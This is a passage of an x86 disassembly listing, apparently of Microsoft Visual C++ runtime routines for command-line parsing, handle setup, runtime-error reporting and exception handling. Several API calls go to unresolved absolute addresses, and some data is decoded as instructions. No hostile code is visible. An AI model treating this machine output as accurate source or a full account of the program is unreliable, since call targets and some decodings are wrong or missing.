loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0


loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0


loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C


loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB


loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------


loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi


loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]


loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx


loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------


loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------


loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi


loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx


loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1


loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx


loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi


loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410


loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D


loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	byte_4CEF01[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]


loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------


loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	byte_4CEF01[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]


loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]


loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------


loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi


loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------


loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0


loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp

; ---------------------------------------------------------------------------
		push	ecx
		push	ecx
		mov	eax, dword_4CDB70
		push	ebx
		push	ebp
		mov	ebp, dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	dword_4CDB70, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------


loc_41F4BC:				; CODE XREF: ___:0041F4AEj
		nop
		call	near ptr 2620BECh
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	dword_4CDB70, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------


loc_41F4DB:				; CODE XREF: ___:0041F4A6j
		cmp	eax, 1
		jnz	loc_41F565


loc_41F4E4:				; CODE XREF: ___:0041F4BAj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6


loc_41F4F4:				; CODE XREF: ___:0041F4E6j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509


loc_41F4FB:				; CODE XREF: ___:0041F500j
					; ___:0041F507j
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB


loc_41F509:				; CODE XREF: ___:0041F4F9j
		sub	eax, esi
		mov	edi, dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+34h], eax
		call	edi
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+10h], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	dword ptr [esp+24h]
		push	esi
		push	ebx
		push	ebx
		call	edi
		test	eax, eax
		jnz	short loc_41F556
		push	dword ptr [esp+10h]
		call	sub_417C3B
		pop	ecx
		mov	[esp+10h], ebx


loc_41F556:				; CODE XREF: ___:0041F546j
		mov	ebx, [esp+10h]


loc_41F55A:				; CODE XREF: ___:0041F526j
					; ___:0041F535j
		push	esi
		nop
		call	near ptr 2620E29h
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F565:				; CODE XREF: ___:0041F4DEj
		cmp	eax, 2
		jnz	short loc_41F5B6


loc_41F56A:				; CODE XREF: ___:0041F4D6j
		cmp	edi, ebx
		jnz	short loc_41F57A
		nop
		call	near ptr 2620BECh
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6


loc_41F57A:				; CODE XREF: ___:0041F56Cj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A


loc_41F580:				; CODE XREF: ___:0041F583j
					; ___:0041F588j
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580


loc_41F58A:				; CODE XREF: ___:0041F57Ej
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------


loc_41F5A0:				; CODE XREF: ___:0041F59Aj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch


loc_41F5AB:				; CODE XREF: ___:0041F59Ej
		push	edi
		nop
		call	near ptr 2620E64h
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------


loc_41F5B6:				; CODE XREF: ___:0041F4C6j
					; ___:0041F4EEj ...
		xor	eax, eax


loc_41F5B8:				; CODE XREF: ___:0041F563j
					; ___:0041F5B4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx


loc_41F5DF:				; CODE XREF: ___:0041F5D5j
		mov	dword_4CECE0, esi
		mov	dword_4CEDE0, 20h
		lea	eax, [esi+100h]


loc_41F5F5:				; CODE XREF: ___:0041F611j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, dword_4CECE0
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------


loc_41F613:				; CODE XREF: ___:0041F5F7j
		lea	eax, [esp+10h]
		push	eax
		call	near ptr 2850000h
		nop
		cmp	word ptr [esp+42h], 0
		jz	loc_41F6EF
		mov	eax, [esp+44h]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax


loc_41F649:				; CODE XREF: ___:0041F645j
		cmp	dword_4CEDE0, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_4CECE4


loc_41F656:				; CODE XREF: ___:0041F699j
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	dword_4CEDE0, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]


loc_41F674:				; CODE XREF: ___:0041F68Ej
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------


loc_41F690:				; CODE XREF: ___:0041F676j
		add	edi, 4
		cmp	dword_4CEDE0, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------


loc_41F69D:				; CODE XREF: ___:0041F663j
		mov	esi, dword_4CEDE0


loc_41F6A3:				; CODE XREF: ___:0041F64Fj
					; ___:0041F69Bj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF


loc_41F6A9:				; CODE XREF: ___:0041F6EDj
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		nop
		call	near ptr 2620000h
		test	eax, eax
		jz	short loc_41F6E6


loc_41F6C8:				; CODE XREF: ___:0041F6BBj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl


loc_41F6E6:				; CODE XREF: ___:0041F6AEj
					; ___:0041F6B6j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9


loc_41F6EF:				; CODE XREF: ___:0041F624j
					; ___:0041F630j ...
		xor	ebx, ebx


loc_41F6F1:				; CODE XREF: ___:0041F754j
		mov	eax, dword_4CECE0
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------


loc_41F70C:				; CODE XREF: ___:0041F705j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41F716:				; CODE XREF: ___:0041F70Aj
		push	eax
		nop
		call	near ptr 262084Dh
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		call	near ptr 2620000h
		nop
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741


loc_41F73B:				; CODE XREF: ___:0041F722j
					; ___:0041F72Dj
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F741:				; CODE XREF: ___:0041F739j
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------


loc_41F74C:				; CODE XREF: ___:0041F6FDj
		or	byte ptr [esi+4], 80h


loc_41F750:				; CODE XREF: ___:0041F73Fj
					; ___:0041F744j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	dword_4CEDE0
		nop
		call	near ptr 2620B32h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: sub_41CFF1+Ao
					; sub_41D120+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------


loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	dword_433C64, 1
		jnz	short locret_41F884


loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, dword_4CDB74
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax


loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_41F84C+1Cp ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_4362F8


loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_436388
		jl	short loc_41F898


loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, dword_4362F8[esi]
		jnz	loc_41F9D5
		mov	eax, dword_4CDA08
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	dword_433C64, 1
		jz	loc_41F9AF


loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2680000h
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx


loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h


loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	off_4362FC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------


loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4362FC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		nop
		call	near ptr 262084Dh
		push	eax
		call	near ptr 2660000h
		nop


loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	dword_4CDB78
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------


loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4CEDE0
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4CECE0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: ___:00426020o
		mov	eax, dword_4CECC0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------


loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi


loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	dword_4CECC0, eax


loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	dword_4CECC0, esi
		call	sub_4210E8
		pop	ecx
		mov	dword_4CDCB0, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx


loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_436388


loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, dword_4CDCB0
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_436608
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_436398


loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, dword_4CECE0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9


loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4363F8
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: ___:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	byte_4CD9F4, 0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	dword_4CDA48, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	dword_433E7C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	dword_4CDA58
		nop
		call	near ptr 27D0000h
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61


loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh


loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, dword_4CDB7C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	near ptr 2610000h
		nop
		test	eax, eax
		jz	short loc_41FBB0
		mov	eax, esi
		jmp	short loc_41FBCD
; ---------------------------------------------------------------------------


loc_41FBB0:				; CODE XREF: sub_41FB63+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_436EF4
		push	esi
		push	ebx
		nop
		call	near ptr 2610764h
		test	eax, eax
		jz	loc_41FC98
		push	2
		pop	eax


loc_41FBCD:				; CODE XREF: sub_41FB63+4Bj
		mov	dword_4CDB7C, eax


loc_41FBD2:				; CODE XREF: sub_41FB63+2Fj
		cmp	eax, 2
		jnz	short loc_41FBFB
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41FBE3
		mov	eax, dword_4CDA48


loc_41FBE3:				; CODE XREF: sub_41FB63+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	near ptr 2610764h
		nop
		jmp	loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FBFB:				; CODE XREF: sub_41FB63+72j
		cmp	eax, 1
		jnz	loc_41FC98
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41FC11
		mov	eax, dword_4CDA58
		mov	[ebp+arg_10], eax


loc_41FC11:				; CODE XREF: sub_41FB63+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	near ptr 2650000h
		nop
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41FC98
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_417330
		add	esp, 0Ch
		jmp	short loc_41FC67
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41FC67:				; CODE XREF: sub_41FB63+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41FC98
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		nop
		call	near ptr 2650000h
		cmp	eax, ebx
		jz	short loc_41FC98
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		nop
		call	near ptr 2610000h
		jmp	short loc_41FC9A
; ---------------------------------------------------------------------------


loc_41FC98:				; CODE XREF: sub_41FB63+61j
					; sub_41FB63+9Bj ...
		xor	eax, eax


loc_41FC9A:				; CODE XREF: sub_41FB63+93j
					; sub_41FB63+133j
		lea	esp, [ebp-34h]
